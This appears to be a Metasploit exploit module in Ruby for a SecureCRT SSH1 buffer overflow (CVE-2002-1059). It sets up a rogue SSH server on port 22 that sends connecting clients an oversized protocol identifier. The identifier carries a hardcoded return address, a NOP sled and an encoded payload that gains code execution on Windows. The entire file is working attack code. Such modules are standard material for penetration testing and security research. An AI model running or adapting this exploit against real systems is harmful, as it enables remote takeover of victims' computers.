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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::TcpServer
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'SecureCRT SSH1 Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a buffer overflow in SecureCRT <= 4.0
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        Beta 2. By sending a vulnerable client an overly long
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        SSH1 protocol identifier string, it is possible to execute
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        arbitrary code.
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        This module has only been tested on SecureCRT 3.4.4.
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      },
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      'Author'         => 'MC',
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'CVE', '2002-1059' ],
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          [ 'OSVDB', '4991' ],
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          [ 'BID', '5287' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 400,
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          'BadChars' => "\x00",
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          'MaxNops'  => 0,
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          'StackAdjustment' => -3500,
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'SecureCRT.exe (3.4.4)', { 'Ret' => 0x0041b3e0 } ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2002-07-23',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptPort.new('SRVPORT', [ true, "The SSH daemon port to listen on", 22 ])
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      ])
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  end
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  def on_client_connect(client)
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    return if ((p = regenerate_payload(client)) == nil)
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    buffer =  "SSH-1.1-OpenSSH_3.6.1p2\r\n" + rand_text_english(243)
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    buffer << [target.ret].pack('V') + make_nops(20) + payload.encoded
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    print_status("Sending #{buffer.length} bytes to #{client.getpeername}:#{client.peerport}...")
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    client.put(buffer)
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    handler
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    service.close_client(client)
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  end
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end
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